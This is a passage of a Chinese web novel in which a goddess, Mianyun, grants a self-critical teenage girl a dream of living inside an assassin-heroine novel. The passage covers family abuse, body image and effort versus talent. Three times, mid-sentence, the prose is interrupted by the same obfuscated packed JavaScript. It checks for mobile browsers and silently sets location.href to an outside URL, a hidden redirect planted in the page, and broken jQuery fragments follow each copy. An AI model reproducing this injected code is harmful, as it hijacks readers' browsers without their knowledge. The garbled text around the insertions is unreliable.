啊，”眠云扬起唇角，纤细的手指在赵梓涵面前一挥“交易成立，你的穿越之旅，开始了。” 赵梓涵还没反应过来发生了什么，就觉得眼前忽然一花，紧接着她便看到了与之前山林截然不同的景象。 这是一处幽冷僻静的小院，院子虽有些简陋，却带着几分古色古香的韵味，此时已至月中，一个十四五岁的小丫鬟趴在她身边睡的正香，配合着窗外清冷的月色，倒也算是一幅颇有诗意的画面。 “小姐，您醒啦！” 小丫鬟揉揉眼睛，惊喜的叫道“您之前被二小姐推进水里，高烧了一整天，丁香还以为您出事了，太好啦，您终于醒了。” 赵梓涵不可置信的眨眨眼睛，转头又对那个叽叽喳喳的小丫鬟道“丁香？” “小姐，我在呢，”丁香同样眨巴着眼睛回望“小姐有哪里不舒服吗？” “我……”赵梓涵怀疑自己是睡着做梦了，不然的话她怎么会忽然穿越“我……失忆了，你知道我是谁吗？” “小姐失忆了？！”丁香立刻惊呼起来“大夫，快去找大夫！” “等等！”赵梓涵被吓了一跳，她立刻叫住丁香“先别声张，你只告诉我我是谁就是了。” “小姐是赵家的嫡长女，赵梓涵。”丁香很快将自己知道的都说了出来“小姐本该千娇万宠着长大，可惜老爷宠妾灭妻，夫人又早早的病逝了，现在的新夫人是原先的妾室扶正，自从新夫人管家，小姐的份例就一天比一天少，就连原来夫人给小姐修的院子也被霸占了去，二小姐嚣张跋扈，这次竟然把您推进了水池里，您……” “停！”赵梓涵制止了丁香，经过丁香这么一说，她才彻底清醒起来，她是真的穿越了，她现在的身体就是小说中女主角的。 她之前递给眠云的，是一本叫做《杀手王妃:腹黑王爷心尖宠》的古言大女主小说，女主作为21世纪杀手穿越到古代，成为了尚书府不受宠嫡女，凭借着自己的智慧与身手，女主勇斗渣爹继母，最终成为王妃，与帅气腹黑的王爷携手一生。 因为这个小说赵梓涵非常喜欢，她看过好几遍，里面出场过的人物她一清二楚，除了主角的名字被换成了她的，其他和她同姓的亲戚也有所改变以外，剩下的一切都与书中所写的一模一样。 “咳咳，”赵梓涵装模作样的咳了两下，她在现实中只是普通人家的孩子，又才上高中，别说是什么杀手气质了，就连小姐派头她都没有。“丁香啊，我已经醒了，你就不用再陪着我了，自己去睡觉吧。” 不说旁的，睡觉时身边还有个丫鬟守夜是真的奇怪，这样能睡好吗？ 好不容易将丁香打发走了以后，赵梓涵又睡不着了，她从小到大都没在外面住过，现在一个人孤零零的在异世界，想想就觉得有些害怕。 “仙女姐姐？”赵梓涵小心翼翼的朝空气呼唤“仙女姐姐，你还在吗？” 12. 第2章 “这个时候我应该回答‘我在’吗？”眠云的身影忽然出现在赵梓涵身边“总感觉这样回答很像是手机里的智能语音助手。” “仙女姐姐？！”赵梓涵惊喜的看着眠云“太好了，仙女姐姐你还在啊。” “之前不是说好了吗？”眠云笑笑，又重复了一遍“你把那个小熊挂坠给我当报酬，我帮你做一场穿越的梦，在你的梦里，我随时都在。” “那仙女姐姐就是我的金手指啦！”赵梓涵刚刚穿越，明显是很兴奋，只是片刻之后，她又小心翼翼的说道“那个……仙女姐姐，你怎么把女主角变成我的模样了啊？” “叫我眠云就行，不用叫仙女姐姐。”眠云忍不住笑了一下，赵梓涵今年刚上高一，也才十五岁，在她眼里和小孩子没区别“你们人类玩游戏的时候不是喜欢有代入感吗？如果用别人的名字和样貌，我怕你觉得别扭，你放心，除了你还是你以外，剩下的都和小说里一样。” “可是，”赵梓涵摸了摸自己的脸“我长的很丑，身材也不好，一点儿都不像女主角。” 身为一个普通的高中生，赵梓涵的一切都很普通，长相平平无奇，皮肤不白也不滑嫩，唯一的优点可能就是身高了。 可身高足够高在成年人眼中可能是个优点，在孩子的眼中却未必，尤其是赵梓涵并不瘦，又高又胖的她打眼瞧过去比班里的男生都要壮几分，在同龄人中自然不会太受欢迎。 “你希望你完全顶着别人的模样走完这个穿越故事吗？”眠云没有直接回答，而是反问道“即使在无论你是何种样貌，旁人眼中的你都是无可挑剔的美人情况下。” “……可我不是美人，”赵梓涵苦笑道“仙女姐姐，你知道吗，我其实有一个双胞胎妹妹，我们虽说是双胞胎，长的却一点儿都不像。她好看到连我这个女孩看了都觉得怜惜，随便咳两声都有人嘘寒问暖，我哪怕是病到爬不起来的时候，也只会被人骂长的那么壮，装什么可怜。” “……我明白了，”眠云微微叹了一口气，挥挥手道“你给我的小说里只有文字描述，我也不确定我幻化出的容貌是否符合你的心意，你自己看看吧。” 赵梓涵对着旁边的镜子照了照，镜中的人明眸皓齿，娇柔艳丽，一看就是大美人，比她原来的相貌要好看无数倍。 “谢谢仙女姐姐，”赵梓涵笑了起来，随后又有几分犹豫“那个……仙女姐姐，你能不能再多陪陪我，我……有点儿害怕。” “嗯，穿越者有个系统也是很合理的，”眠云半开玩笑似的说道“那现在，我就是你的系统了，不如你直接叫我系统姐姐吧？” “我还是想叫仙女姐姐，”赵梓涵高兴的摇摇头“在我伤心的时候，仙女姐姐就这样刷的一下出现，还实现了我的愿望，特别像灰姑娘里的仙女教母。” “好了，”眠云拍了拍赵梓涵的脑袋笑道“现在灰姑娘要快点休息，不然可赶不上明天的舞会了。” 赵梓涵乖乖闭上眼睛，沉沉睡去，迷糊之间，她好像听到有人在叫她，等她再睁开眼，天色已经大亮，侍女丁香正不断呼唤着她，眼里是藏不住的焦虑。 “小姐……小姐，快醒醒！”丁香见赵梓涵还没有反应，声音更急切了几分“今天老爷和夫人要过来看您，您可不能再这样睡下去了。” 赵梓涵刚醒，脑子还有点儿迷糊，半晌之后她才反应过来，今天正是原著的第一个剧情点，斗渣爹和恶毒继母的开始。 赵梓涵扑腾一下从床上起来，又以最快的速度给自己梳洗，虽然古代这些器具她用不惯，但好在有丁香这个侍女，大多数时候她还是不用亲自动手的，等梳洗完成以后，赵梓涵才又想起来，原著好像不是这样的。 原著中，女主作为杀手，穿越到了一个病弱的千金小姐身上觉得很没有安全感，一早便起来锻炼身体，力求恢复以往的身手，这段剧情对主线影响不大，应该可以跳过吧？ “老爷夫人来了！” 丁香慌慌张张的进来，赵梓涵也下意识站起身，只见一个气势汹汹的中年男人和一个衣着华丽的女人走了进来，男人坐下以后直接开口质问“孽障！见了为父连问安都不会了？” “爹……爹爹安？”赵梓涵这个现代人哪里知道怎么问安，她只好学着电视剧里的样子，不伦不类的行了个礼。 “你娘死了以后，你便越发没规矩了！”赵父冷哼一声，将茶盏重重往桌子上一摔“你看看你那轻狂样子，昨日还摔进水池里，差点被男人看光了身子！你啊……真是半点儿都不如你二妹妹。” “不是这样的，”赵梓涵下意识反驳“是二妹妹她……” “行了！”赵父打断赵梓涵的辩解，直接说出了这次过来的目的“女大不中留，我替你订了个好人家，安国公家的二儿子刚死了妻子，你嫁过去虽是继室，但也是享用不尽的荣华富贵。” “这的确是门好亲事，”赵夫人用帕子掩住口鼻笑了两声“那安国公家的二公子虽然年纪大了些，但年纪大的才会疼人，涵儿嫁给他，那是再合适不过了。” “我不同意！”赵梓涵难得大着胆子反驳别人“那安国公家的二公子都四十多岁了，比我爹年纪还大，我怎么可能嫁给这样一个人，更何况他有特殊癖好，他之前的妻子就是被……” “父母之命媒妁之言，由不得你愿不愿意！”赵父狠狠一拍桌子，大声呵斥道“你看看你这幅样子，还想嫁到什么好人家？能有个人要你就不错了，再敢说话，你就不用吃饭了，来人！大小姐言行无状，给我看住她，让她这三天在院子里好好反省！” “等等……” 赵梓涵被这突如其来的变故惊住，原著中根本没这个剧情啊？可惜她的声音太小，除了丁香没有任何人听到，赵父直接转身就走，只留下两个侍卫把守院门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829733|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵夫人倒是又笑了几声，说了些看似安慰实则嘲讽的话才离开。 “小姐，”丁香急的直打转“现在可怎么办？那安国公的二公子绝对不能嫁！” “……你先出去吧，”赵梓涵也没想到会是这个结局，她呆愣愣的坐在椅子上道“我……再想想办法。” 丁香退出去以后，赵梓涵左右看看，口里还不停念叨着“仙女姐姐？你没走吧？仙女姐姐？” “在这里，”眠云忽然出现在窗边“发生什么了？” “仙女姐姐，”赵梓涵感觉有点儿委屈，她将今天发生的事讲了一遍，随后低着头说道“仙女姐姐，我是不是特别没用啊。” “嗯……原来的小说里女主角是怎么做的？”眠云问道。 “原来的女主角超级帅气的，”赵梓涵把头埋的更低了“女主角不仅把渣爹继母都骂了一顿，还成功拿回了亲娘留下的遗产，我不仅没能拿到遗产，反倒被骂了一顿。” 看书的时候赵梓涵觉得自己在这种场合一定能妙语连珠压倒众人，结果别人一发脾气她就心慌到说不出话，吵起架来她也只有挨骂的份。 “这个……”眠云想了一会儿说道“这个小说可能不太适合你，不然你换一本吧。” 穿越有风险，穿书更要谨慎啊，这本小说的女主基本没什么金手指，能逆袭也都是靠自己的能力，实在不太适合穿越新手。 “不，”赵梓涵难得执着“我再试试，我只是今天没发挥好。” “其实偶尔有和书里不一样的剧情也是正常，只要大方向对了就行。”眠云也没再纠结，她随口问道“现在你目前最大的困难是被订下了婚约，这个婚约书的的女主角也订了吗？她是怎么解决的？” “原著中也有订下婚约，但这个安国公家的二公子只是个炮灰而已，”赵梓涵对这本小说足够熟悉，很快便给出了答案“我记得他是被男二杀的，当然女主本来也打算动手，只是男二抢先了一步。” “那男二为什么要杀这个人？”眠云眨了眨眼睛问道。 “这个……一半是因为凑巧，一半是因为女主吧？”赵梓涵想了一会儿“这本书里的男二是雍朝最大杀手组织的首领，有人去杀手组织花钱买安国公二公子的命，男二看到了，又想起这个人是他一见钟情的女主名义上的未婚夫，就接下这个任务把他给杀了。” “所以，”眠云得出结论“遗产的事可以先放一放，毕竟这笔钱什么时候拿回来也不迟，只要先让男二把安国公二公子杀掉，剧情就能回归正轨。” “好像是这样。”赵梓涵第一次穿越没什么经验，只好将信将疑的点头。 “原著中男二是怎么对女主一见钟情的？”眠云看向赵梓涵，颇为认真的说道“我们照着做一遍不就行了吗？” 赵梓涵点头表示肯定，但很快，她的表情又变得纠结起来“这个……好像不行。” 13. 第3章 一个杀手会在什么情况下对另一个杀手一见钟情？ 想来不会是什么循规蹈矩的情况。 “就是……”赵梓涵看的时候不觉得怎么样，这会儿要她说出来，她却觉得羞耻万分“女主角刚穿过来的时候手里也没多少钱，她不是个杀手嘛，就重操旧业接了几个单子，有一个单子恰好和男二撞了，女主把人给杀了，男二觉得脸上溅到鲜血的女主特别美，就一见钟情了。” “那你也去杀个人？”眠云提出了一个分外朴实的建议。 “不不不！这个不行！”赵梓涵脑袋都摇成了拨浪鼓“杀人是犯法的！” “这里并不是现实世界，只是你的梦而已，”眠云平静的说道“在这里做什么，应当都不算违法吧？” 毕竟谁做梦没杀过几个人呢？ “不行！”赵梓涵仍旧摇头“这里太真实了，连疼的感觉都和现实一模一样，我要是在这里杀人了，和在现实真杀了人有什么区别？” “……那你当初，为什么要选择一个身份为杀手的女主？”眠云长出了一口气，幽幽道“如果你想在这本小说里当大女主的话，不杀人基本是不可能的。” 眠云之前翻过两下这本小说，知道这本小说不完全是古代，也有一些类似于内力功法之类的武力值设定，也有江湖门派、杀手组织之流，在这么一个世界，想要不杀人就走上人生巅峰，恐怕只能靠做梦了。 赵梓涵原地石化，和大多数经验尚浅的学生一样，她做事之前并未考虑太多，只凭着自己的喜好选了这个故事，却没想过杀伐果断的大女主是真的要杀人。 “算了，不如我们先跳过这个问题，”眠云看赵梓涵哑口无言的样子，也只好转移了话题“我记得你说这本书的男主是一个王爷，那男女主是怎么相遇的？” “男主来尚书府拜访，女主的恶毒妹妹一直缠着男主，男主想找个地方躲清静，就到了女主的院子。”赵梓涵无精打采的说道“女主正巧在梨花树下练剑，被男主看到，两人就这样认识了。” “那我们现在出去练剑试一试？”眠云提议道“就当是提前演习了。” “好，”赵梓涵点点头，显然已经没了之前那么大的兴致“我试试。” 走到院子中，赵梓涵手里拿着剑挥了两下，眼神中是前所未有的迷茫，所以这个剑……到底该怎么用？ “这个……”赵梓涵尴尬的转了转手腕，转头对眠云虚心请教“仙女姐姐，这个应该怎么用啊？” 原谅她一个现代人实在没有点亮用剑的技能，她连拿刀砍人都不会，更别说剑这种小众武器了。 “如果只是图个样式，想看着好看，倒也不算难，”眠云接过剑，随手挽了个剑花“勤学苦练的话，差不多一两个星期就可以了。” 当然，这种速成的不能叫剑术，只能叫剑舞，但起码看着还是不错的。 “这个可以，”赵梓涵眼睛一下子亮了起来“仙女姐姐，我要学这个！” “剑舞我也不算很擅长，”眠云提剑向前迈出几步“我先做个样子，你看看效果怎么样，然后再决定要不要学。” 既然是剑舞，自然以优雅飘逸为主，眠云抬手，轻柔的纱制衣料顺着她的手臂向下滑落，露出一截莹润洁白的手臂，与闪烁着寒光的剑刃形成鲜明对比。 她轻挥手臂，动作缓慢优雅，随花而舞，一招一式，仿若行云流水般令人赏心悦目。 “哇——” 旁边的赵梓涵看的眼睛都瞪大了，直到眠云已经收了剑势，她还没有缓过神来。 “这几招就差不多了，”眠云思索了一会儿说道“招式太多太杂恐怕你很难在短时间内学会，更何况……你在听吗？” “仙女姐姐！”赵梓涵一下子扑到眠云身上，激动的喊道“你是真的仙女下凡吧！别说是男人了，就连我都想咬一口香香软软的仙女姐姐！” 眠云不是那种非常纤细的身材，她更符合老一辈眼中珠圆玉润的标准，加之皮肤白皙滑嫩，就好像那刚剥壳的荔枝一般，让人忍不住想咬一口尝尝味道。 “大可不必。”眠云沉默片刻，将激动的赵梓涵从身上推开“你心里有仙女姐姐就好，嘴里就不要有了，毕竟这样还挺吓人的。” 好好的，忽然说要吃人了，这能不吓人吗？ “我要是像仙女姐姐这么好看就好了，”赵梓涵被推了也不恼，嘿嘿笑着说道“那样追我的人估计能绕蓝星一圈。” “其实神和人一样，都决定不了自己长成什么样子。”眠云淡淡一笑，“你长成什么样，是由你父母的基因决定，我的相貌则是千万年来人们对于山中女神幻想的具象化。” 若只谈美丑，她自然是美的，可若细究起来，这份美丽不过是源于人们对于女神必须貌美的想法，反倒有些无趣了。 “怪不得，”赵梓涵不知道眠云在想什么，她恍然大悟道“原来仙女姐姐真的是仙女，怪不得仙女姐姐这么好看。” “贫嘴，”眠云笑了一下，也没再说这件事，只是将剑递给赵梓涵“你自己说了要学舞剑，现在夸我，我也不会给你放水的。” “嘿嘿，”赵梓涵又笑了两声，接过剑连声说道“要学，当然要学，难得我现在变得这么漂亮，舞起剑来可不得美呆了，对了仙女姐姐，我要是学好了以后，你能帮我拍张照片吗？” “你先学再说，”眠云不置可否“如果你学好了的话，我倒是可以帮你。” “真哒？！”赵梓涵高兴接过剑“那我现在就练，估计几天就能练会了。” 赵梓涵的想法很好，毕竟眠云只是挥了那么几下，看起来也不难，好像随便学学就能学会，可三个小时之后，浑身酸痛，手臂发颤的赵梓涵躺在床上，表示自己再也不小看舞剑了，就这么几个动作，废了她半条命，都还没能学会。 “仙女姐姐，”天色已近日中，赵梓涵揉着手臂趴在床上说道“我是不是特别笨，什么都做不好啊？” “……为什么你会这么觉得？”眠云放下茶盏，看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829734|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵梓涵“剑舞本来就不是一天能学会的，你能坚持三个小时，其实已经出乎我的预料了。” “……因为我除了努力，好像没有别的优点了。”赵梓涵把头埋在枕头里“我的双胞胎妹妹，又漂亮，又聪明，她好像不用怎么学习就能考到好成绩，而我哪怕很努力的学也不如她，就连过年的时候，亲戚都挑不出夸我的词，只能说一句，这孩子挺听话的，省心。” “我不喜欢听话这个词，”赵梓涵声音更低了“它就好像一个锁链一样套在我身上，每当我想要做什么的时候，我爸妈总会说，我以前是很听话的，现在怎么变成这样了？” 因为之前父母夸了她听话，所以她就要一直一直听话下去，只要她做的有一点不如他们的意，他们就像是被背叛了一样，推翻以前所有夸她的话。 “小姐，”丁香走进来，把手里端着的碗放在桌上“该吃饭了。” “好，”赵梓涵下意识应了一声，她从床上爬起来，面对那一碗米粒都能数出来的清粥，不可置信的问道“这是饭？！” “这是夫人叫厨房给您准备的，说是这三天让您去去火气。”丁香垮着脸道“我看夫人就是故意为难您，她自己每天山珍海味，却只给小姐您吃一碗清粥。” 赵梓涵欲言又止的看着那碗粥，她不是个挑食的人，但这粥就是冲着饿死她做的，与其说是粥，不如说就是在一碗清水里放了几粒米，要是这么喝三天，她都得饿到没力气下床。 “要不……丁香去帮小姐跟厨房说说？”丁香试探着问“总不能让小姐就这样饿着啊！” “算了，你先下去吧，”赵梓涵知道，她这个尚书府小姐尚且没什么地位，丁香这个丫鬟就更不行了，要是求到厨房去，还指不定被人怎么骂呢“我自己想办法。” 赵梓涵能想出什么办法呢？她原本想爬墙出去，但由于墙太高，她又一分钱都没有，最终只好放弃，直挺挺的躺在床上，假装自己已经死了。 “想吃什么？”眠云见赵梓涵折腾了一通之后又躺回来，就知道她没办法了。 赵梓涵先是高兴的坐起来，想了一会儿后才说道“那个……我今天可以吃肉吗？” 见眠云看过来，她连忙解释道“我不是不自律，我就是太饿了，真的！” 眠云没说什么，只是将饭菜带了回来“你忘了，这里是梦，你无论吃多少都不会变胖，更何况你本来就不算胖。” “……仙女姐姐，你就别哄我了。”赵梓涵拿起碗筷，默默吃起饭来“我都一百三十斤了还不算胖？在家的时候我爸妈都觉得我太胖了，经常说我不自律。” “你应该很高吧？”眠云比量了一下，这孩子长的真不矮，比她还要高上两三厘米“有1米75？” “没，”赵梓涵摇摇头“174，我前几天刚量过的。” “有时候我觉得人类真的很神奇，”眠云笑着摇了摇头“胖瘦这个和自律完全不沾边的东西，竟然也能成为自律的标志，甚至还有不少人深信不疑。” 14. 第4章 “啊？”赵梓涵不是能言善辩的人，听到眠云的说法，她只好解释道“因为导致肥胖的原因大多是吃的多、运动少，好吃懒做的人，应该是不自律吧？” “我以为自律的意思是自我约束，以达到一种身体或心灵上更好的状态。”眠云神色淡淡，让人看不出喜怒。 “如果因为疏于运动而造成的身体不佳算不自律，那因为运动过度而造成的身体损害算不算不自律？肥胖的人不健康，过瘦的人也不健康，但为什么很少有人说过瘦的人不自律？” “但胖不好看啊，”赵梓涵小声说道“尤其是像我这样又高又胖的，经常被叫坦克、地雷、高大壮。” 她再怎么说也是个正值青春的小姑娘，被叫成这样，想想都会觉得难过吧？ “唔……我去过很多世界，也见过很多和你有差不多焦虑的女孩。”眠云略微想了一下说道“这种行为就像是……我举一个最简单的例子吧，如果某天你去卖奶茶，忽然有一个人跳出来说你的奶茶很难喝，要你免费送给他，你会选择给他吗？” “当然不会，”赵梓涵摇头“我又不傻，这样的人明显是想白嫖，奶茶也是有成本的，我本就不该承受他的辱骂，挨骂了还要倒贴奶茶，谁会做这么傻的事啊？” “那么，通过给你取侮辱性外号，让你达到他们审美的人不也是一样的吗？”眠云笑容玩味“他们希望看到更符合他们审美的人，所以用辱骂逼迫你减肥，可减肥是有成本的，无论是健身运动，还是做健康的减脂餐，都需要一定精力和金钱。” “他们上下嘴皮子一碰，没花一分钱，既辱骂了你，又满足了自己的审美，而你花费大量时间、金钱、精力，只为让他们欣赏到你的美貌，从而不再辱骂你，这不是赔了夫人又折兵的亏本买卖吗？” “……好像是吧，”赵梓涵感觉眠云说的有道理，但她又下意识反驳道“可是变瘦了以后会有很多好处啊。” “什么好处？”眠云心平气和的问道。 “嗯……比如更受欢迎？大家都对美女更宽容？”赵梓涵一时想不到什么，只好拿自己的妹妹举例子“比如我的妹妹就特别讨人喜欢，有很多同学争先恐后的和她说话呢。” “这不叫好处，”眠云冷静的指出了赵梓涵话里的漏洞“如果一群人出去吃饭，你的妹妹可以因为美貌而免单，这叫做因容貌所带来的好处。如果只是有一群人愿意和你妹妹一起吃饭的话，这不叫好处，你长大工作以后，任何部门都会有这样的聚餐，想跑都跑不了。” “受欢迎不是好事也不是坏事，因为受欢迎获利才是好事，相反的，如果因为太受欢迎，拥有复杂的人际关系却又没能力处理的话，受欢迎反而成了坏事了。” “这……”赵梓涵低下了头，她小时候其实也不怎么注重胖瘦美丑，只是长大了以后大家都在说女孩要瘦，要白，要美，她才渐渐生出很多自卑来。 “如果将生活比做投资的话，那美无疑是非常不值得投资的。”眠云很少将话说的这么直白，但这次是例外“美是没有稳定收益的，因美而获利的人不多，维持美要付出的代价却不少，就像彩票一样，或许真的有人中了巨额彩票，但中奖的概率毕竟很小，如果你拿出一大笔钱来买彩票的话，那就得不偿失了。” 赵梓涵彻底沉默下来，眠云说的话和她这十几年的认知格格不入，但不得不说，眠云说的很有道理，她本就不该遭受辱骂，又凭什么要因为别人的辱骂而改变自己？ 接下来的几天，赵梓涵仍旧认认真真的跟着眠云学习舞剑，只是她比以往沉默了不少，在休息的时候，她常常望着窗外发呆，也不知在想什么。 “云云！” 花花见眠云迟迟未归，干脆跑进梦里，它看了一眼窗外梨花树下默默练习舞剑的赵梓涵，钻进眠云怀里撒娇道“云云，我等了你好久，你怎么一直在入梦呀。” “也不久吧，”眠云笑着摸了摸花花的小脑袋“还没到十分钟呢，你就等不及了？” “这个小孩有什么特别的，能让你一直跟着她？”花花跳到茶几上，又看了一眼赵梓涵“又不聪明，又没什么能力，唯一的优点大概是还算乖顺，云云这次你收的报酬也太少了吧？上次那个玉佩还有点儿用处，这次的小熊挂坠根本只是个普通挂坠，四舍五入就是白帮她入梦了。” “我当然不是在做白工，”眠云笑着拿出那个小熊挂坠“花花知道八苦吗？” “八……什么？”花花显然不懂这么深奥的概念。 “八苦指的是佛法中的一个概念，”眠云解释道“生、老、病、死、爱离别、怨憎会、求不得、五阴炽盛，这八种苦难，即是对人生苦难的总结，若是能远离八苦，便能在真正意义上超脱。” “啊……听起来很厉害，”花花还是没太明白眠云忽然说这个的含义“但云云你不是人类啊，你不用受人类的苦难，更何况神本来就是超脱于世外。” “谁说这是给我准备的？”眠云笑着点了点花花的鼻子“不如你猜猜看，九龙玉佩和小熊挂坠分别代表了什么？” “这个可难不倒我，”花花努力挺了挺胸膛，做出一幅胸有成竹的模样“云云你说过，那个玉佩的主人是一个活了一百四十岁的皇帝，他活的久，恐怕代表的就是‘老’了吧？至于这个赵梓涵，看她眼睛哭的红红的，还想穿进有好几个美男爱慕她的小说里，那她一定就是‘爱离别’！” “嗯，猜对了一半。”眠云轻巧的把茶盏放在桌上“至于哪一个对，哪一个错，等这个梦醒了，你就知道了。” * 赵梓涵在梨花树下努力练着剑，眠云教她的几招她已经练的不错了，可不知为何，她却没有想象中那么高兴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829735|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许是因为她已经提前知道了吧。 她知道会有一个男人路过她的院子，看到她在院中舞剑，觉得她很特别，从而对她产生好感，这是一个浪漫爱情故事的开始，大多数女孩都无法拒绝偶像剧一般的开场，尤其是这个男人几乎集齐了女孩子喜欢的一切优点，聪明、多金、帅气、位高权重，还对女主一往情深。 可实际上，赵梓涵并没有感到欣喜，她只觉得自己像舞台剧中的演员，在卖力的表演着这一出故事。 哒—— 一个小石子被弹到了她脚边，赵梓涵抬头看向眠云，眠云冲她点点头，这是两人约定好的，只要男主角过来了，她就会开始在梨花树下舞剑。 赵梓涵抬手，卖力的舞起剑来，平心而论，她的舞剑的水平还不错，不远处躲清净的腹黑王爷也驻足观看，显然是被吸引了。 只是新手能学的招式有限，眠云曾经和赵梓涵说过，要把这几招反复舞几次，可赵梓涵却在舞过一遍以后突兀的停了下来，之后更是直接提剑走进了屋中，丝毫不理会站在院外观看的男主角。 “仙女姐姐，”赵梓涵小心翼翼的看了眠云一眼，紧接着把头埋的更低了“对不起。” “你无需对我道歉，”眠云看了一眼忐忑的赵梓涵，语气倒还算温和“准备了这么久，为什么忽然放弃了？” “我……”赵梓涵张了张嘴，然后苦笑道“姐姐，我忽然觉得好没意思。” “我喜欢这本小说，是因为小说里的女主角像太阳一样耀眼，可如果我自己成了小说的女主角，那女主角就会变得平平无奇了，哪怕我用了一些手段让男主爱上我，最多让这本小说变成恋爱小说。” “我把因果颠倒了，”赵梓涵坐在眠云旁边喃喃自语“不是穿越成女主角就会变成很厉害的人，而是穿越之前的女主角就很厉害，穿越以后的人生才会如此传奇，当得起女主角这个位置，像我这样的人，哪怕穿越了，也只能当炮灰而已。” 眠云没有说话，只是点点头，从某种意义上来说，赵梓涵也是定力很强了，毕竟她眼里毫无对美男的欣赏，全是对变强的渴望。 “你说的有道理，”赵梓涵听到眠云这么说，她更失落了，可还没等她开口说放弃，就听到眠云继续说道“其实我们不应该从女主角穿越以后开始体验，要想成为像女主那样的强者，就应该经历她完整的一生，我们应该从她出生的时候开始走剧情，用流行一点儿的话来说，这应该叫……胎穿？” “啊？”赵梓涵没想到在穿越这方面眠云比她还要执着，她想了一会儿，有些不确定的开口“其实……倒也不用那么早，我们只要穿到女主刚进入杀手组织的时间点就行了，在进入杀手组织之前，女主也只是个普通孩子而已。” “走吧，”眠云站起身拍了拍衣服笑道“这场穿越，还没结束呢。” 15. 第5章 杀手组织是什么样的？绝大多数人都不知道这个答案，更别提赵梓涵这个只在小说里看过杀手组织的普通学生了。 “仙女姐姐，”已经变成五岁小豆丁的赵梓涵扯了扯眠云的衣袖，神情里满是不可置信“这……这就是杀手组织？” 小说中对于女主穿越之前是怎么当上杀手的并没有过多描述，只说女主来自于世界上最大的杀手组织，可这里……真的是杀手组织吗？ “嗯……应该？这里确实是杀手组织，但和你看的小说一不一样我就不知道了。”眠云不负责的说道“小说对杀手组织的描述太少，我就去别的世界找了个真的杀手组织照搬过来，应当也差不多吧？” 准确来说，这个组织不止培养杀手，还有间谍、特工、情报人员等等，因为这个组织所在的世界常年战乱，组织不仅合法，在外界看来还是类似于人才培养基地一样的存在。 “你的身份是新进组织的成员，”眠云伸手指向了一个方向“走吧，那里都是和你一样今年才进组织的孩子，你跟着他们就行。” “……好。”赵梓涵迟疑了片刻之后朝着一个房间走去，这个杀手组织和她想象中的差别很大，可能是因为……这里太正常了。 没有哀嚎，没有鲜血，也没有地狱一般的景象，有的只是简单肃穆的教室，来来往往的人群，和他们这群穿着统一蓝上衣灰裤子，年龄在五、六岁左右的孩子。 赵梓涵看了一圈，也没看出这群小孩和普通小孩有什么区别，几分钟以后，一个面容严肃的中年男人走了进来，男人自称是他们的教官，在简单介绍过自己以后，便开始安排起有关训练的课程表，训练地点、宿舍、考核等等。 晚上回到宿舍以后，赵梓涵还在怀疑人生，毕竟这一天她过的和开学第一天没什么区别，这里真的是杀手组织吗？ * “怎么样？还适应这里吗？” 在杀手组织过了一个星期以后，赵梓涵才再次见到眠云，她从床上爬起来，垂头丧气的叫了一声仙女姐姐。 “怎么了？”眠云笑着摸了一把小豆丁版赵梓涵的脑袋“觉得杀手组织的训练太严酷了？” “不是，”赵梓涵摇摇头，“就……这里和我想的挺不一样的，我感觉除了学习内容不太一样以外，这里和军事化管理的学校也差不多。” “那你为什么这么没精神？”眠云不知从哪里拿出一块奶糖递给赵梓涵“觉得失望？无聊？” “好像有一点，”赵梓涵把奶糖塞进嘴里，甜甜的味道在她的舌尖上散开，也让她放松了许多。“我没想到，原来杀手也不是那么酷帅的，杀手日常要做的事也只是学习、训练这种很平常的东西。” “这样的平常不好吗？”眠云笑了笑“如果杀手的训练真的像电视剧里演的那样，你可能会死哦。” “我知道。”赵梓涵将糖纸攥在手心，她心里有很多话想要说，舌头却沉重的像灌了铅，一个字都说不出来。 “是因为这里和你设想中的不一样吧，”眠云轻笑着，一双眼睛清亮如镜“杀手并不是经历生死一线以后就会变得非常厉害，实际上决定杀手厉不厉害的，还是那些又苦又狼狈的日常训练。” “我不是怕苦，”赵梓涵继续摇头“我只是……只是……” “我知道，”眠云笑着又摸了摸赵梓涵的脑袋“你不怕吃苦，但努力的样子太狼狈了，你想成为天才，举重若轻的天才，就像你妹妹一样。” 年纪尚轻孩子都有一个通病，那就是都不想承认自己是个脑子不太好用，只能靠努力去弥补的普通人家。 中学生经常高谈阔论自己对于学业有多不努力，对待作业有多敷衍，好像这样说便能证明自己所取得的成绩是因为聪明，而非努力。 在孩子的世界里，努力是笨人的专属，如果一个人非常努力，就说明这个人不聪明。 